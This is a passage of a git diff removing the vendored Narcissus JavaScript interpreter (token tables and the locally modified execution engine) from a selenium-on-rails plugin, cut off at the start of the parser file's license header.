-    // Operators and punctuators.  Some pair-wise order matters, e.g. (+, -)
-    // and (UNARY_PLUS, UNARY_MINUS).
-    "\n", ";",
-    ",",
-    "=",
-    "?", ":", "CONDITIONAL",
-    "||",
-    "&&",
-    "|",
-    "^",
-    "&",
-    "==", "!=", "===", "!==",
-    "<", "<=", ">=", ">",
-    "<<", ">>", ">>>",
-    "+", "-",
-    "*", "/", "%",
-    "!", "~", "UNARY_PLUS", "UNARY_MINUS",
-    "++", "--",
-    ".",
-    "[", "]",
-    "{", "}",
-    "(", ")",
-
-    // Nonterminal tree node type codes.
-    "SCRIPT", "BLOCK", "LABEL", "FOR_IN", "CALL", "NEW_WITH_ARGS", "INDEX",
-    "ARRAY_INIT", "OBJECT_INIT", "PROPERTY_INIT", "GETTER", "SETTER",
-    "GROUP", "LIST",
-
-    // Terminals.
-    "IDENTIFIER", "NUMBER", "STRING", "REGEXP",
-
-    // Keywords.
-    "break",
-    "case", "catch", "const", "continue",
-    "debugger", "default", "delete", "do",
-    "else", "enum",
-    "false", "finally", "for", "function",
-    "if", "in", "instanceof",
-    "new", "null",
-    "return",
-    "switch",
-    "this", "throw", "true", "try", "typeof",
-    "var", "void",
-    "while", "with",
-    // Extensions
-    "require", "bless", "mixin", "import"
-];
-
-// Operator and punctuator mapping from token to tree node type name.
-// NB: superstring tokens (e.g., ++) must come before their substring token
-// counterparts (+ in the example), so that the opRegExp regular expression
-// synthesized from this list makes the longest possible match.
-var opTypeNames = {
-    '\n':   "NEWLINE",
-    ';':    "SEMICOLON",
-    ',':    "COMMA",
-    '?':    "HOOK",
-    ':':    "COLON",
-    '||':   "OR",
-    '&&':   "AND",
-    '|':    "BITWISE_OR",
-    '^':    "BITWISE_XOR",
-    '&':    "BITWISE_AND",
-    '===':  "STRICT_EQ",
-    '==':   "EQ",
-    '=':    "ASSIGN",
-    '!==':  "STRICT_NE",
-    '!=':   "NE",
-    '<<':   "LSH",
-    '<=':   "LE",
-    '<':    "LT",
-    '>>>':  "URSH",
-    '>>':   "RSH",
-    '>=':   "GE",
-    '>':    "GT",
-    '++':   "INCREMENT",
-    '--':   "DECREMENT",
-    '+':    "PLUS",
-    '-':    "MINUS",
-    '*':    "MUL",
-    '/':    "DIV",
-    '%':    "MOD",
-    '!':    "NOT",
-    '~':    "BITWISE_NOT",
-    '.':    "DOT",
-    '[':    "LEFT_BRACKET",
-    ']':    "RIGHT_BRACKET",
-    '{':    "LEFT_CURLY",
-    '}':    "RIGHT_CURLY",
-    '(':    "LEFT_PAREN",
-    ')':    "RIGHT_PAREN"
-};
-
-// Hash of keyword identifier to tokens index.  NB: we must null __proto__ to
-// avoid toString, etc. namespace pollution.
-var keywords = {__proto__: null};
-
-// Define const END, etc., based on the token names.  Also map name to index.
-var consts = " ";
-for (var i = 0, j = tokens.length; i < j; i++) {
-    if (i > 0)
-        consts += "; ";
-    var t = tokens[i];
-    if (/^[a-z]/.test(t)) {
-        consts += t.toUpperCase();
-        keywords[t] = i;
-    } else {
-        consts += (/^\W/.test(t) ? opTypeNames[t] : t);
-    }
-    consts += " = " + i;
-    tokens[t] = i;
-}
-eval(consts + ";");
-
-// Map assignment operators to their indexes in the tokens array.
-var assignOps = ['|', '^', '&', '<<', '>>', '>>>', '+', '-', '*', '/', '%'];
-
-for (i = 0, j = assignOps.length; i < j; i++) {
-    t = assignOps[i];
-    assignOps[t] = tokens[t];
-}
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-exec.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-exec.js
deleted file mode 100644
index e2c88f81..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-exec.js
+++ /dev/null
@@ -1,1054 +0,0 @@
-/* ***** BEGIN LICENSE BLOCK *****
- * vim: set ts=4 sw=4 et tw=80:
- *
- * Version: MPL 1.1/GPL 2.0/LGPL 2.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is the Narcissus JavaScript engine.
- *
- * The Initial Developer of the Original Code is
- * Brendan Eich <brendan@mozilla.org>.
- * Portions created by the Initial Developer are Copyright (C) 2004
- * the Initial Developer. All Rights Reserved.
- *
- * Contributor(s):
- *
- * Alternatively, the contents of this file may be used under the terms of
- * either the GNU General Public License Version 2 or later (the "GPL"), or
- * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- * in which case the provisions of the GPL or the LGPL are applicable instead
- * of those above. If you wish to allow use of your version of this file only
- * under the terms of either the GPL or the LGPL, and not to allow others to
- * use your version of this file under the terms of the MPL, indicate your
- * decision by deleting the provisions above and replace them with the notice
- * and other provisions required by the GPL or the LGPL. If you do not delete
- * the provisions above, a recipient may use your version of this file under
- * the terms of any one of the MPL, the GPL or the LGPL.
- *
- * ***** END LICENSE BLOCK ***** */
-
-/*
- * Narcissus - JS implemented in JS.
- *
- * Execution of parse trees.
- *
- * Standard classes except for eval, Function, Array, and String are borrowed
- * from the host JS environment.  Function is metacircular.  Array and String
- * are reflected via wrapping the corresponding native constructor and adding
- * an extra level of prototype-based delegation.
- */
-
-// jrh
-//module('JS.Exec');
-// end jrh
-
-GLOBAL_CODE = 0; EVAL_CODE = 1; FUNCTION_CODE = 2;
-
-function ExecutionContext(type) {
-    this.type = type;
-}
-
-// jrh
-var agenda = new Array();
-var skip_setup = 0;
-// end jrh
-
-var global = {
-    // Value properties.
-    NaN: NaN, Infinity: Infinity, undefined: undefined,
-    alert : function(msg) { alert(msg) },
-    confirm : function(msg) { return confirm(msg) },
-    document : document,
-    window : window,
-    // jrh
-    //debug: window.open('','debugwindow','width=600,height=400,scrollbars=yes,resizable=yes'),     
-    // end jrh
-    navigator : navigator,
-    XMLHttpRequest : function() { return new XMLHttpRequest() },
-    // Function properties.
-    eval: function(s) {
-        if (typeof s != "string") {
-            return s;
-        }
-
-        var x = ExecutionContext.current;
-        var x2 = new ExecutionContext(EVAL_CODE);
-        x2.thisObject = x.thisObject;
-        x2.caller = x.caller;
-        x2.callee = x.callee;
-        x2.scope = x.scope;
-        ExecutionContext.current = x2;
-        try {
-            execute(parse(s), x2);
-        } catch (e) {
-            x.result = x2.result;
-            throw e;
-        } finally {
-            ExecutionContext.current = x;
-        }
-        return x2.result;
-    },
-    parseInt: parseInt, parseFloat: parseFloat,
-    isNaN: isNaN, isFinite: isFinite,
-    decodeURI: decodeURI, encodeURI: encodeURI,
-    decodeURIComponent: decodeURIComponent,
-    encodeURIComponent: encodeURIComponent,
-
-    // Class constructors.  Where ECMA-262 requires C.length == 1, we declare
-    // a dummy formal parameter.
-    Object: Object,
-    Function: function(dummy) {
-        var p = "", b = "", n = arguments.length;
-        if (n) {
-            var m = n - 1;
-            if (m) {
-                p += arguments[0];
-                for (var k = 1; k < m; k++)
-                    p += "," + arguments[k];
-            }
-            b += arguments[m];
-        }
-
-        // XXX We want to pass a good file and line to the tokenizer.
-        // Note the anonymous name to maintain parity with Spidermonkey.
-        var t = new Tokenizer("anonymous(" + p + ") {" + b + "}");
-
-        // NB: Use the STATEMENT_FORM constant since we don't want to push this
-        // function onto the null compilation context.
-        var f = FunctionDefinition(t, null, false, STATEMENT_FORM);
-        var s = {object: global, parent: null};
-        return new FunctionObject(f, s);
-    },
-    Array: function(dummy) {
-        // Array when called as a function acts as a constructor.
-        return GLOBAL.Array.apply(this, arguments);
-    },
-    String: function(s) {
-        // Called as function or constructor: convert argument to string type.
-        s = arguments.length ? "" + s : "";
-        if (this instanceof String) {
-            // Called as constructor: save the argument as the string value
-            // of this String object and return this object.
-            this.value = s;
-            return this;
-        }
-        return s;
-    },
-    Boolean: Boolean, Number: Number, Date: Date, RegExp: RegExp,
-    Error: Error, EvalError: EvalError, RangeError: RangeError,
-    ReferenceError: ReferenceError, SyntaxError: SyntaxError,
-    TypeError: TypeError, URIError: URIError,
-
-    // Other properties.
-    Math: Math,
-
-    // Extensions to ECMA.
-    //snarf: snarf,
-    evaluate: evaluate,
-    load: function(s) {
-        if (typeof s != "string")
-            return s;
-        var req = new XMLHttpRequest();
-        req.open('GET', s, false);
-        req.send(null);
-
-        evaluate(req.responseText, s, 1)
-    },
-    print: print, version: null
-};
-
-// jrh
-//global.debug.document.body.innerHTML = ''
-// end jrh
-
-// Helper to avoid Object.prototype.hasOwnProperty polluting scope objects.
-function hasDirectProperty(o, p) {
-    return Object.prototype.hasOwnProperty.call(o, p);
-}
-
-// Reflect a host class into the target global environment by delegation.
-function reflectClass(name, proto) {
-    var gctor = global[name];
-    gctor.prototype = proto;
-    proto.constructor = gctor;
-    return proto;
-}
-
-// Reflect Array -- note that all Array methods are generic.
-reflectClass('Array', new Array);
-
-// Reflect String, overriding non-generic methods.
-var gSp = reflectClass('String', new String);
-gSp.toSource = function () { return this.value.toSource(); };
-gSp.toString = function () { return this.value; };
-gSp.valueOf  = function () { return this.value; };
-global.String.fromCharCode = String.fromCharCode;
-
-var XCp = ExecutionContext.prototype;
-ExecutionContext.current = XCp.caller = XCp.callee = null;
-XCp.scope = {object: global, parent: null};
-XCp.thisObject = global;
-XCp.result = undefined;
-XCp.target = null;
-XCp.ecmaStrictMode = false;
-
-function Reference(base, propertyName, node) {
-    this.base = base;
-    this.propertyName = propertyName;
-    this.node = node;
-}
-
-Reference.prototype.toString = function () { return this.node.getSource(); }
-
-function getValue(v) {
-    if (v instanceof Reference) {
-        if (!v.base) {
-            throw new ReferenceError(v.propertyName + " is not defined",
-                                     v.node.filename(), v.node.lineno);
-        }
-        return v.base[v.propertyName];
-    }
-    return v;
-}
-
-function putValue(v, w, vn) {
-    if (v instanceof Reference)
-        return (v.base || global)[v.propertyName] = w;
-    throw new ReferenceError("Invalid assignment left-hand side",
-                             vn.filename(), vn.lineno);
-}
-
-function isPrimitive(v) {
-    var t = typeof v;
-    return (t == "object") ? v === null : t != "function";
-}
-
-function isObject(v) {
-    var t = typeof v;
-    return (t == "object") ? v !== null : t == "function";
-}
-
-// If r instanceof Reference, v == getValue(r); else v === r.  If passed, rn
-// is the node whose execute result was r.
-function toObject(v, r, rn) {
-    switch (typeof v) {
-      case "boolean":
-        return new global.Boolean(v);
-      case "number":
-        return new global.Number(v);
-      case "string":
-        return new global.String(v);
-      case "function":
-        return v;
-      case "object":
-        if (v !== null)
-            return v;
-    }
-    var message = r + " (type " + (typeof v) + ") has no properties";
-    throw rn ? new TypeError(message, rn.filename(), rn.lineno)
-             : new TypeError(message);
-}
-
-function execute(n, x) {
-    if (!this.new_block)
-        new_block = new Array();
-    //alert (n)
-    var a, f, i, j, r, s, t, u, v;
-    switch (n.type) {
-      case FUNCTION:
-        if (n.functionForm != DECLARED_FORM) {
-            if (!n.name || n.functionForm == STATEMENT_FORM) {
-                v = new FunctionObject(n, x.scope);
-                if (n.functionForm == STATEMENT_FORM)
-                    x.scope.object[n.name] = v;
-            } else {
-                t = new Object;
-                x.scope = {object: t, parent: x.scope};
-                try {
-                    v = new FunctionObject(n, x.scope);
-                    t[n.name] = v;
-                } finally {
-                    x.scope = x.scope.parent;
-                }
-            }
-        }
-        break;
-
-      case SCRIPT:      
-        t = x.scope.object;
-        a = n.funDecls;
-        for (i = 0, j = a.length; i < j; i++) {
-            s = a[i].name;
-            f = new FunctionObject(a[i], x.scope);
-            t[s] = f;
-        }
-        a = n.varDecls;
-        for (i = 0, j = a.length; i < j; i++) {
-            u = a[i];
-            s = u.name;
-            if (u.readOnly && hasDirectProperty(t, s)) {
-                throw new TypeError("Redeclaration of const " + s,
-                                    u.filename(), u.lineno);
-            }
-            if (u.readOnly || !hasDirectProperty(t, s)) {
-                t[s] = null;
-            }
-        }
-        // FALL THROUGH
-
-      case BLOCK:        
-        for (i = 0, j = n.$length; i < j; i++)  {  
-            //jrh
-            //execute(n[i], x);      
-            //new_block.unshift([n[i], x]);            
-            new_block.push([n[i], x]);         
-        }
-        new_block.reverse();        
-        agenda = agenda.concat(new_block);   
-        //agenda = new_block.concat(agenda)
-        // end jrh
-        break;
-
-      case IF:
-        if (getValue(execute(n.condition, x)))
-            execute(n.thenPart, x);
-        else if (n.elsePart)
-            execute(n.elsePart, x);
-        break;
-
-      case SWITCH:
-        s = getValue(execute(n.discriminant, x));
-        a = n.cases;
-        var matchDefault = false;
-      switch_loop:
-        for (i = 0, j = a.length; ; i++) {
-            if (i == j) {
-                if (n.defaultIndex >= 0) {
-                    i = n.defaultIndex - 1; // no case matched, do default
-                    matchDefault = true;
-                    continue;
-                }
-                break;                      // no default, exit switch_loop
-            }
-            t = a[i];                       // next case (might be default!)
-            if (t.type == CASE) {
-                u = getValue(execute(t.caseLabel, x));
-            } else {
-                if (!matchDefault)          // not defaulting, skip for now
-                    continue;
-                u = s;                      // force match to do default
-            }
-            if (u === s) {
-                for (;;) {                  // this loop exits switch_loop
-                    if (t.statements.length) {
-                        try {
-                            execute(t.statements, x);
-                        } catch (e) {
-                            if (!(e == BREAK && x.target == n)) { throw e }
-                            break switch_loop;
-                        }
-                    }
-                    if (++i == j)
-                        break switch_loop;
-                    t = a[i];
-                }
-                // NOT REACHED
-            }
-        }
-        break;
-
-      case FOR:
-        // jrh
-        // added "skip_setup" so initialization doesn't get called
-        // on every call..
-        if (!skip_setup)
-            n.setup && getValue(execute(n.setup, x));
-        // FALL THROUGH
-      case WHILE:
-        // jrh       
-        //while (!n.condition || getValue(execute(n.condition, x))) {
-        if (!n.condition || getValue(execute(n.condition, x))) {
-            try {
-                // jrh 
-                //execute(n.body, x);
-                new_block.push([n.body, x]);
-                agenda.push([n.body, x])
-                //agenda.unshift([n.body, x])
-                // end jrh
-            } catch (e) {
-                if (e == BREAK && x.target == n) {
-                    break;
-                } else if (e == CONTINUE && x.target == n) {
-                    // jrh
-                    // 'continue' is invalid inside an 'if' clause
-                    // I don't know what commenting this out will break!
-                    //continue;
-                    // end jrh
-                    
-                } else {
-                    throw e;
-                }
-            }    
-            n.update && getValue(execute(n.update, x));
-            // jrh
-            new_block.unshift([n, x])
-            agenda.splice(agenda.length-1,0,[n, x])
-            //agenda.splice(1,0,[n, x])
-            skip_setup = 1
-            // end jrh
-        } else {
-            skip_setup = 0
-        }
-        
-        break;
-
-      case FOR_IN:
-        u = n.varDecl;
-        if (u)
-            execute(u, x);
-        r = n.iterator;
-        s = execute(n.object, x);
-        v = getValue(s);
-
-        // ECMA deviation to track extant browser JS implementation behavior.
-        t = (v == null && !x.ecmaStrictMode) ? v : toObject(v, s, n.object);
-        a = [];
-        for (i in t)
-            a.push(i);
-        for (i = 0, j = a.length; i < j; i++) {
-            putValue(execute(r, x), a[i], r);
-            try {
-                execute(n.body, x);
-            } catch (e) {
-                if (e == BREAK && x.target == n) {
-                    break;
-                } else if (e == CONTINUE && x.target == n) {
-                    continue;
-                } else {
-                    throw e;
-                }
-            }
-        }
-        break;
-
-      case DO:
-        do {
-            try {
-                execute(n.body, x);
-            } catch (e) {
-                if (e == BREAK && x.target == n) {
-                    break;
-                } else if (e == CONTINUE && x.target == n) {
-                    continue;
-                } else {
-                    throw e;
-                }
-            }
-        } while (getValue(execute(n.condition, x)));
-        break;
-
-      case BREAK:
-      case CONTINUE:
-        x.target = n.target;
-        throw n.type;
-
-      case TRY:
-        try {
-            execute(n.tryBlock, x);
-        } catch (e) {
-            if (!(e == THROW && (j = n.catchClauses.length))) {
-                throw e;
-            }
-            e = x.result;
-            x.result = undefined;
-            for (i = 0; ; i++) {
-                if (i == j) {
-                    x.result = e;
-                    throw THROW;
-                }
-                t = n.catchClauses[i];
-                x.scope = {object: {}, parent: x.scope};
-                x.scope.object[t.varName] = e;
-                try {
-                    if (t.guard && !getValue(execute(t.guard, x)))
-                        continue;
-                    execute(t.block, x);
-                    break;
-                } finally {
-                    x.scope = x.scope.parent;
-                }
-            }
-        } finally {
-            if (n.finallyBlock)
-                execute(n.finallyBlock, x);
-        }
-        break;
-
-      case THROW:
-        x.result = getValue(execute(n.exception, x));
-        throw THROW;
-
-      case RETURN:
-        x.result = getValue(execute(n.value, x));
-        throw RETURN;
-
-      case WITH:
-        r = execute(n.object, x);
-        t = toObject(getValue(r), r, n.object);
-        x.scope = {object: t, parent: x.scope};
-        try {
-            execute(n.body, x);
-        } finally {
-            x.scope = x.scope.parent;
-        }
-        break;
-
-      case VAR:
-      case CONST:
-        for (i = 0, j = n.$length; i < j; i++) {
-            u = n[i].initializer;
-            if (!u)
-                continue;
-            t = n[i].name;
-            for (s = x.scope; s; s = s.parent) {
-                if (hasDirectProperty(s.object, t))
-                    break;
-            }
-            u = getValue(execute(u, x));
-            if (n.type == CONST)
-                s.object[t] = u;
-            else
-                s.object[t] = u;
-        }
-        break;
-
-      case DEBUGGER:
-        throw "NYI: " + tokens[n.type];
-
-      case REQUIRE:
-        var req = new XMLHttpRequest();
-        req.open('GET', n.filename, 'false');
-
-      case SEMICOLON:
-        if (n.expression)
-            // print debugging statements
-                     
-            var the_start = n.start
-            var the_end = n.end
-            var the_statement = parse_result.tokenizer.source.slice(the_start,the_end)
-            //global.debug.document.body.innerHTML += ('<pre>&gt;&gt;&gt; <b>' + the_statement + '</b></pre>')
-            LOG.info('>>>' + the_statement)
-            x.result = getValue(execute(n.expression, x));   
-            //if (x.result)
-            //global.debug.document.body.innerHTML += ( '<pre>&gt;&gt;&gt; ' + x.result + '</pre>')
-            
-        break;
-
-      case LABEL:
-        try {
-            execute(n.statement, x);
-        } catch (e) {
-            if (!(e == BREAK && x.target == n)) { throw e }
-        }
-        break;
-
-      case COMMA:
-        for (i = 0, j = n.$length; i < j; i++)
-            v = getValue(execute(n[i], x));
-        break;
-
-      case ASSIGN:
-        r = execute(n[0], x);
-        t = n[0].assignOp;
-        if (t)
-            u = getValue(r);
-        v = getValue(execute(n[1], x));
-        if (t) {
-            switch (t) {
-              case BITWISE_OR:  v = u | v; break;
-              case BITWISE_XOR: v = u ^ v; break;
-              case BITWISE_AND: v = u & v; break;
-              case LSH:         v = u << v; break;
-              case RSH:         v = u >> v; break;
-              case URSH:        v = u >>> v; break;
-              case PLUS:        v = u + v; break;
-              case MINUS:       v = u - v; break;
-              case MUL:         v = u * v; break;
-              case DIV:         v = u / v; break;
-              case MOD:         v = u % v; break;
-            }
-        }
-        putValue(r, v, n[0]);
-        break;
-
-      case CONDITIONAL:
-        v = getValue(execute(n[0], x)) ? getValue(execute(n[1], x))
-                                       : getValue(execute(n[2], x));
-        break;
-
-      case OR:
-        v = getValue(execute(n[0], x)) || getValue(execute(n[1], x));
-        break;
-
-      case AND:
-        v = getValue(execute(n[0], x)) && getValue(execute(n[1], x));
-        break;
-
-      case BITWISE_OR:
-        v = getValue(execute(n[0], x)) | getValue(execute(n[1], x));
-        break;
-
-      case BITWISE_XOR:
-        v = getValue(execute(n[0], x)) ^ getValue(execute(n[1], x));
-        break;
-
-      case BITWISE_AND:
-        v = getValue(execute(n[0], x)) & getValue(execute(n[1], x));
-        break;
-
-      case EQ:
-        v = getValue(execute(n[0], x)) == getValue(execute(n[1], x));
-        break;
-
-      case NE:
-        v = getValue(execute(n[0], x)) != getValue(execute(n[1], x));
-        break;
-
-      case STRICT_EQ:
-        v = getValue(execute(n[0], x)) === getValue(execute(n[1], x));
-        break;
-
-      case STRICT_NE:
-        v = getValue(execute(n[0], x)) !== getValue(execute(n[1], x));
-        break;
-
-      case LT:
-        v = getValue(execute(n[0], x)) < getValue(execute(n[1], x));
-        break;
-
-      case LE:
-        v = getValue(execute(n[0], x)) <= getValue(execute(n[1], x));
-        break;
-
-      case GE:
-        v = getValue(execute(n[0], x)) >= getValue(execute(n[1], x));
-        break;
-
-      case GT:
-        v = getValue(execute(n[0], x)) > getValue(execute(n[1], x));
-        break;
-
-      case IN:
-        v = getValue(execute(n[0], x)) in getValue(execute(n[1], x));
-        break;
-
-      case INSTANCEOF:
-        t = getValue(execute(n[0], x));
-        u = getValue(execute(n[1], x));
-        if (isObject(u) && typeof u.__hasInstance__ == "function")
-            v = u.__hasInstance__(t);
-        else
-            v = t instanceof u;
-        break;
-
-      case LSH:
-        v = getValue(execute(n[0], x)) << getValue(execute(n[1], x));
-        break;
-
-      case RSH:
-        v = getValue(execute(n[0], x)) >> getValue(execute(n[1], x));
-        break;
-
-      case URSH:
-        v = getValue(execute(n[0], x)) >>> getValue(execute(n[1], x));
-        break;
-
-      case PLUS:
-        v = getValue(execute(n[0], x)) + getValue(execute(n[1], x));
-        break;
-
-      case MINUS:
-        v = getValue(execute(n[0], x)) - getValue(execute(n[1], x));
-        break;
-
-      case MUL:
-        v = getValue(execute(n[0], x)) * getValue(execute(n[1], x));
-        break;
-
-      case DIV:
-        v = getValue(execute(n[0], x)) / getValue(execute(n[1], x));
-        break;
-
-      case MOD:
-        v = getValue(execute(n[0], x)) % getValue(execute(n[1], x));
-        break;
-
-      case DELETE:
-        t = execute(n[0], x);
-        v = !(t instanceof Reference) || delete t.base[t.propertyName];
-        break;
-
-      case VOID:
-        getValue(execute(n[0], x));
-        break;
-
-      case TYPEOF:
-        t = execute(n[0], x);
-        if (t instanceof Reference)
-            t = t.base ? t.base[t.propertyName] : undefined;
-        v = typeof t;
-        break;
-
-      case NOT:
-        v = !getValue(execute(n[0], x));
-        break;
-
-      case BITWISE_NOT:
-        v = ~getValue(execute(n[0], x));
-        break;
-
-      case UNARY_PLUS:
-        v = +getValue(execute(n[0], x));
-        break;
-
-      case UNARY_MINUS:
-        v = -getValue(execute(n[0], x));
-        break;
-
-      case INCREMENT:
-      case DECREMENT:
-        t = execute(n[0], x);
-        u = Number(getValue(t));
-        if (n.postfix)
-            v = u;
-        putValue(t, (n.type == INCREMENT) ? ++u : --u, n[0]);
-        if (!n.postfix)
-            v = u;
-        break;
-
-      case DOT:
-        r = execute(n[0], x);
-        t = getValue(r);
-        u = n[1].value;
-        v = new Reference(toObject(t, r, n[0]), u, n);
-        break;
-
-      case INDEX:
-        r = execute(n[0], x);
-        t = getValue(r);
-        u = getValue(execute(n[1], x));
-        v = new Reference(toObject(t, r, n[0]), String(u), n);
-        break;
-
-      case LIST:
-        // Curse ECMA for specifying that arguments is not an Array object!
-        v = {};
-        for (i = 0, j = n.$length; i < j; i++) {
-            u = getValue(execute(n[i], x));
-            v[i] = u;
-        }
-        v.length = i;
-        break;
-
-      case CALL:
-        r = execute(n[0], x);
-        a = execute(n[1], x);
-        f = getValue(r);
-        if (isPrimitive(f) || typeof f.__call__ != "function") {
-            throw new TypeError(r + " is not callable",
-                                n[0].filename(), n[0].lineno);
-        }
-        t = (r instanceof Reference) ? r.base : null;
-        if (t instanceof Activation)
-            t = null;
-        v = f.__call__(t, a, x);
-        break;
-
-      case NEW:
-      case NEW_WITH_ARGS:
-        r = execute(n[0], x);
-        f = getValue(r);
-        if (n.type == NEW) {
-            a = {};
-            a.length = 0;
-        } else {
-            a = execute(n[1], x);
-        }
-        if (isPrimitive(f) || typeof f.__construct__ != "function") {
-            throw new TypeError(r + " is not a constructor",
-                                n[0].filename(), n[0].lineno);
-        }
-        v = f.__construct__(a, x);
-        break;
-
-      case ARRAY_INIT:
-        v = [];
-        for (i = 0, j = n.$length; i < j; i++) {
-            if (n[i])
-                v[i] = getValue(execute(n[i], x));
-        }
-        v.length = j;
-        break;
-
-      case OBJECT_INIT:
-        v = {};
-        for (i = 0, j = n.$length; i < j; i++) {
-            t = n[i];
-            if (t.type == PROPERTY_INIT) {
-                v[t[0].value] = getValue(execute(t[1], x));
-            } else {
-                f = new FunctionObject(t, x.scope);
-                /*
-                u = (t.type == GETTER) ? '__defineGetter__'
-                                       : '__defineSetter__';
-                v[u](t.name, thunk(f, x));
-                */
-            }
-        }
-        break;
-
-      case NULL:
-        v = null;
-        break;
-
-      case THIS:
-        v = x.thisObject;
-        break;
-
-      case TRUE:
-        v = true;
-        break;
-
-      case FALSE:
-        v = false;
-        break;
-
-      case IDENTIFIER:
-        for (s = x.scope; s; s = s.parent) {
-            if (n.value in s.object)
-                break;
-        }
-        v = new Reference(s && s.object, n.value, n);
-        break;
-
-      case NUMBER:
-      case STRING:
-      case REGEXP:
-        v = n.value;
-        break;
-
-      case GROUP:
-        v = execute(n[0], x);
-        break;
-
-      default:
-        throw "PANIC: unknown operation " + n.type + ": " + uneval(n);
-    }
-    return v;
-}
-
-function Activation(f, a) {
-    for (var i = 0, j = f.params.length; i < j; i++)
-        this[f.params[i]] = a[i];
-    this.arguments = a;
-}
-
-// Null Activation.prototype's proto slot so that Object.prototype.* does not
-// pollute the scope of heavyweight functions.  Also delete its 'constructor'
-// property so that it doesn't pollute function scopes.
-
-Activation.prototype.__proto__ = null;
-delete Activation.prototype.constructor;
-
-function FunctionObject(node, scope) {
-    this.node = node;
-    this.scope = scope;
-    this.length = node.params.length;
-    var proto = {};
-    this.prototype = proto;
-    proto.constructor = this;
-}
-
-var FOp = FunctionObject.prototype = {
-    // Internal methods.
-    __call__: function (t, a, x) {
-        var x2 = new ExecutionContext(FUNCTION_CODE);
-        x2.thisObject = t || global;
-        x2.caller = x;
-        x2.callee = this;
-        a.callee = this;
-        var f = this.node;
-        x2.scope = {object: new Activation(f, a), parent: this.scope};
-
-        ExecutionContext.current = x2;
-        try {
-            execute(f.body, x2);
-        } catch (e) {
-            if (!(e == RETURN)) { throw e } else if (e == RETURN) {
-                return x2.result;
-            }
-            if (e != THROW) { throw e }
-            x.result = x2.result;
-            throw THROW;
-        } finally {
-            ExecutionContext.current = x;
-        }
-        return undefined;
-    },
-
-    __construct__: function (a, x) {
-        var o = new Object;
-        var p = this.prototype;
-        if (isObject(p))
-            o.__proto__ = p;
-        // else o.__proto__ defaulted to Object.prototype
-
-        var v = this.__call__(o, a, x);
-        if (isObject(v))
-            return v;
-        return o;
-    },
-
-    __hasInstance__: function (v) {
-        if (isPrimitive(v))
-            return false;
-        var p = this.prototype;
-        if (isPrimitive(p)) {
-            throw new TypeError("'prototype' property is not an object",
-                                this.node.filename(), this.node.lineno);
-        }
-        var o;
-        while ((o = v.__proto__)) {
-            if (o == p)
-                return true;
-            v = o;
-        }
-        return false;
-    },
-
-    // Standard methods.
-    toString: function () {
-        return this.node.getSource();
-    },
-
-    apply: function (t, a) {
-        // Curse ECMA again!
-        if (typeof this.__call__ != "function") {
-            throw new TypeError("Function.prototype.apply called on" +
-                                " uncallable object");
-        }
-
-        if (t === undefined || t === null)
-            t = global;
-        else if (typeof t != "object")
-            t = toObject(t, t);
-
-        if (a === undefined || a === null) {
-            a = {};
-            a.length = 0;
-        } else if (a instanceof Array) {
-            var v = {};
-            for (var i = 0, j = a.length; i < j; i++)
-                v[i] = a[i];
-            v.length = i;
-            a = v;
-        } else if (!(a instanceof Object)) {
-            // XXX check for a non-arguments object
-            throw new TypeError("Second argument to Function.prototype.apply" +
-                                " must be an array or arguments object",
-                                this.node.filename(), this.node.lineno);
-        }
-
-        return this.__call__(t, a, ExecutionContext.current);
-    },
-
-    call: function (t) {
-        // Curse ECMA a third time!
-        var a = Array.prototype.splice.call(arguments, 1);
-        return this.apply(t, a);
-    }
-};
-
-// Connect Function.prototype and Function.prototype.constructor in global.
-reflectClass('Function', FOp);
-
-// Help native and host-scripted functions be like FunctionObjects.
-var Fp = Function.prototype;
-var REp = RegExp.prototype;
-
-if (!('__call__' in Fp)) {
-    Fp.__call__ = function (t, a, x) {
-        // Curse ECMA yet again!
-        a = Array.prototype.splice.call(a, 0, a.length);
-        return this.apply(t, a);
-    };
-
-    REp.__call__ = function (t, a, x) {
-        a = Array.prototype.splice.call(a, 0, a.length);
-        return this.exec.apply(this, a);
-    };
-
-    Fp.__construct__ = function (a, x) {
-        switch (a.length) {
-          case 0:
-            return new this();
-          case 1:
-            return new this(a[0]);
-          case 2:
-            return new this(a[0], a[1]);
-          case 3:
-            return new this(a[0], a[1], a[2]);
-          case 4:
-            return new this(a[0], a[1], a[2], a[3]);
-          case 5:
-            return new this(a[0], a[1], a[2], a[3], a[4]);
-          case 6:
-            return new this(a[0], a[1], a[2], a[3], a[4], a[5]);
-          case 7:
-            return new this(a[0], a[1], a[2], a[3], a[4], a[5], a[6]);
-        }
-        throw "PANIC: too many arguments to constructor";
-    }
-
-    // Since we use native functions such as Date along with host ones such
-    // as global.eval, we want both to be considered instances of the native
-    // Function constructor.
-    Fp.__hasInstance__ = function (v) {
-        return v instanceof Function || v instanceof global.Function;
-    };
-}
-
-function thunk(f, x) {
-    return function () { return f.__call__(this, arguments, x); };
-}
-
-function evaluate(s, f, l) {
-    if (typeof s != "string")
-        return s;
-
-    var x = ExecutionContext.current;
-    var x2 = new ExecutionContext(GLOBAL_CODE);
-    ExecutionContext.current = x2;
-    try {
-        execute(parse(s, f, l), x2);
-    } catch (e) {
-        if (e != THROW) { throw e }
-        if (x) {
-            x.result = x2.result;
-            throw(THROW);
-        }
-        throw x2.result;
-    } finally {
-        ExecutionContext.current = x;
-    }
-    return x2.result;
-}
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-parse.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-parse.js
deleted file mode 100644
index d6acb836..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-parse.js
+++ /dev/null
@@ -1,1003 +0,0 @@
-/* ***** BEGIN LICENSE BLOCK *****
- * Version: MPL 1.1/GPL 2.0/LGPL 2.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
